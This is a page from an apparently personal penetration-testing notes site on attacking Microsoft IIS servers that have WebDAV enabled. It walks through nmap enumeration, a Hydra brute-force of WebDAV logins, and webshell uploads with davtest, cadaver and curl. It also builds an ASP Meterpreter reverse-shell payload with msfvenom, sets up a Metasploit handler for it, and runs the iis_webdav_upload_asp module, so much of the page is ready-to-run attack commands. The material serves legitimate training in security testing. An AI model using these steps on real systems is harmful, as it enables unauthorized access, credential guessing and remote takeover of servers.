Dark Arts
  • index
  • BUY ME A BOOK
  • 🪄Dark Magic
    • Pentesting
      • Industry Methodologies
    • Scopes of Testing
    • Reconnaissance
      • Passive
        • WHOIS
        • DNS
          • nslookup
          • dig
        • WAF
        • Subdomain
        • Google Dork
        • Misc. Techniques
        • Leaked Passwords
      • Active
        • Browser & Plugins
        • ping & traceroute
        • fping
        • telnet & netcat
        • DNS
          • Zone Transfer
          • DNS Amplification DDoS Attack Breakdown
        • Misc. Techniques
    • Vulnerability Assessment
    • Attack Types
  • 🕷️Aragoogs Nest
    • Web Application Overview & Security
      • Security Testing
      • Common Threats & Risks
    • Web Application Architecture
      • Technologies
    • HTTP/S
      • Message
      • Request
      • Response
        • Status Code
    • Crawling/Spidering
  • 🧪Potions
    • Web Browsers
    • Computer Networking
      • Network Protocol
      • Packets
      • OSI Layer
        • Layer 3: Network
        • Layer 4: Transport
      • DNS
        • Primary-Secondary
        • Local Name Resolution
        • Domain Hierarchy
        • FQDN
        • Lookups
        • DNS Resolution
        • DNS Records
        • Security: Attack-Defense (Default)
  • 🎆Spells
    • 📜Linux Scroll
    • 📜WebShell Scroll
    • git
      • Attacks + Vulnerabilities
  • 🖼️Flaws w/ Magical Frameworks
    • Windows
      • In a Nutshell
      • CVE-2019-0708: BlueKeep
      • CVE-2017-0144: EternalBlue: MS17-010
      • Attacking Services
        • MS IIS - WebDAV
        • SMB
        • HTTP File Server (HFS)
        • Apache Tomcat Web Server
        • RDP
        • WinRM
      • File System Vulnerabilities
      • Credential Dumping
        • Password Search in Windows Configuration Files
        • Mimikatz
        • Pass-the-Hash Attack
    • Linux
      • In a Nutshell
      • CVE-2014-6271: Shellshock
      • Attacking Services
        • FTP
        • SSH
        • SAMBA
        • SMTP
        • RSYNC
      • Dumping Hashes
  • 🌼Marauder's Boost
    • Privilege Escalation
    • Windows PrivEsc
      • Windows Kernel Exploit
      • Bypassing UAC
      • Access Token Impersonation
    • Linux PrivEsc
      • Linux Kernel Exploit
      • Misconfigured Cron Jobs
      • Exploiting SUID Binaries
      • shells
      • File Permissions
  • ☠️Death Eaters
    • Post Exploitation
      • Windows
      • Linux
  • 🪄OLLIVANDERS
    • nmap
      • Host Discovery
      • Port Scan
      • Service & OS
      • NSE
      • Firewall/IDS Evasion
      • Scan Optimization
      • Misc. Methods
    • ffuf
    • Hydra
    • Metasploit Framework
      • Architecture
      • Must to Know
      • msfvenom
      • Auxiliary Modules
      • Service Enumeration
      • Vulnerability Scanning
      • Imports
      • Automating
    • Vulnerability Scanners
    • Wireshark
  • 🚂Platform 9(3/4)
    • Auth-Auth
      • Authentication
        • Password-based Authentication
        • Basic Authentication
        • Multi-factor Authentication
        • Access Token
        • Token-based Authentication
          • JWT
          • OAuth 2.0
    • Secure Headers
      • Content-Security-Policy (CSP)
    • Cryptography
      • Caesar Cipher
  • ⛲Port Pensieve
    • Enumeration
      • SMB & NetBIOS
      • SNMP
    • Wordlists
  • 🔆DUELS
    • Pivoting
    • SMB Relay Attack
  • 🗺️Marauder's Map
    • Web Application Pentesting
    • API Pentesting
      • GraphQL
        • Primer
    • Mobile Application Pentesting
  • 🎧SIDE CHANNEL
    • Side Channel Analysis
    • Timing Side-Channel Attacks
      • Vulnerable Login
  • 🥃Sky
    • Cloud Basics
    • Cloud Management
      • Shared Responsibility Model
    • Using Cloud Resources
      • Monitoring & Alerts
      • Identity & Access Management
      • Scalability & Availability
      • Solution Design
    • Cloud Providers
    • Cloud Security & Regulatory Compliance
      • Resource Protection
      • ICCA: Cloud Security & Regulatory Compliance
    • ICCA Preparation
      • Knowledge Tests
      • Lab
  • 🔷Obsidian
    • Pentest Engagement
      • Scoping
    • Pentest Ethics
      • Rules of Engagement
    • Auditing Fundamentals
      • Process/Lifecycle
      • Pentest & Security Auditing
      • GRC
      • Standards, Frameworks & Guidelines
      • From Audit to Pentest
  • 💢Threat Modeling
    • Why Threat Model?
  • 📡THREAT INTEL
    • Threat Intelligence
    • Tool Dump
  • 📱Anything-Mobile-IoT
    • Firmware
    • Firmware Analysis
      • Example: CVE-2016-1555
    • Firmware Installation/Flashing
  • 🎉Mischeif
    • Social Engineering
    • Phishing
      • GoPhish
    • Pretexting
Powered by GitBook
On this page
  • MS IIS
  • WebDAV
  • Enumeration & Exploitation
  • w/ nmap
  • Brute-force on WebDAV Authentication
  • Exploitation w/ Davtest & Cadaver
  • w/ Metasploit [msfvenom + handler]
  • w/ Metasploit [module]
  • w/ cURL
  1. Flaws w/ Magical Frameworks
  2. Windows
  3. Attacking Services

MS IIS - WebDAV

PreviousAttacking ServicesNextSMB

Last updated 4 months ago

MS IIS

Microsoft Internet Information Services (IIS) is a proprietary web server developed by Microsoft for the Windows NT family. It supports hosting both static and dynamic websites and web applications, including those built in ASP.NET and PHP. IIS provides a user-friendly graphical interface for administrators to manage and configure websites, typically running on ports 80 (HTTP) and 443 (HTTPS). Supported file extensions include .asp, .aspx, .config, and .php, making it versatile for handling various web technologies.

WebDAV

WebDAV (Web-based Distributed Authoring and Versioning) is an extension of the HTTP protocol that allows users to collaboratively edit and manage files on remote web servers, essentially turning a web server into a file server. It runs on Microsoft IIS, typically on ports 80 or 443, and requires legitimate credentials (username and password) for authentication. In exploitation, attackers may first identify if WebDAV is enabled on IIS, then attempt brute-force attacks to discover valid credentials. Once authenticated, they can upload malicious files, like an .asp payload, to execute commands or gain control over the target system.

Enumeration & Exploitation

w/ nmap

nmap --script http-webdav-scan,http-enum -p80,8080 <target>

Brute-force on WebDAV Authentication

hydra --help
hydra -L [USERLIST] -P [PASSLIST] [IP] http-get /webdav_directory 

Hydra will attempt to guess valid login credentials by using a list of usernames (specified with -L) and a list of passwords (specified with -P). It sends HTTP GET requests to the target IP at the specified WebDAV directory, systematically trying combinations of usernames and passwords until it finds a match or exhausts the lists. This method is typically used to test the security of a web server's authentication system.

Exploitation w/ Davtest & Cadaver

davtest: davtest is a tool used to scan, authenticate, and exploit WebDAV servers. It automates attempts to upload various file types (e.g., .asp, .php, .jsp) to test whether the server is vulnerable to malicious uploads.

davtest -url [directory]
# Check UNAUTHORIZED
davtest -auth user:pass -url [directory]

It first creates a directory in the WebDAV folder, then attempts to upload files with various extensions. After uploading, it checks if the test files can be executed on the server. This process helps determine whether it's possible to upload and execute malicious files, like webshells, which could be used to gain unauthorized access.

cadaver: cadaver is a command-line WebDAV client that supports file uploads, downloads, on-screen displays, in-place editing, file manipulation (like move and copy), creation/deletion of directories, and resource locking. It acts like a remote file system manager.

cadaver [directory-webdav]
put [path-to-webshell]
delete [dir-to-webshell]

w/ Metasploit [msfvenom + handler]

msfvenom -p windows/meterpreter/revers_tcp LHOST=[Attack IP] LPORT=[Listening Port] -f asp > shell.asp

An ASP payload using msfvenom refers to a malicious script created in ASP (Active Server Pages) format using the msfvenom tool from Metasploit. msfvenom is used to generate various types of payloads that can exploit vulnerabilities on a target system. In this case, it creates an ASP payload that can be uploaded to and executed on a web server running ASP, potentially providing attackers with control over the system.

The command is used to generate a reverse shell payload in ASP format using the Metasploit msfvenom tool. The payload is configured to connect back to the attacker's machine (specified by LHOST and LPORT) using the Meterpreter shell over a TCP connection. The generated payload is saved as shell.asp, which can be uploaded and executed on a vulnerable web server, allowing the attacker to gain remote access to the system.

The -f asp option specifies the output format of the payload as an ASP file, which is suitable for web servers running ASP. If you're unsure of the remote system's architecture, it's recommended to select a 32-bit payload, as it is more likely to be compatible with both 32-bit and 64-bit systems, ensuring a higher chance of successful exploitation.

cadaver [directory-webdav]
put shell.asp
msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp #actual meterpreter used for, to generate shell
set LHOST [Attack IP]
set LPORT [Listening Port]
run

After uploading and running the shell.asp file on the target server, the reverse shell will be activated. This will establish a connection back to the attacker's machine, allowing them to interact with the webshell through the Metasploit framework (msf), enabling remote access and control of the target system.

w/ Metasploit [module]

search iis upload
use exploit/windows/iis/iis_webdav_upload_asp
show options
set HttpUsername
set HttpPassword
set RHOSTS
set LPORT
set PATH /webdav/metasploit.asp
run

w/ cURL

curl [WEB URL/DIRECTORY OF WEBDAV] --upload-file [FILE] 
🖼️
http-webdav-scan NSE Script
Logo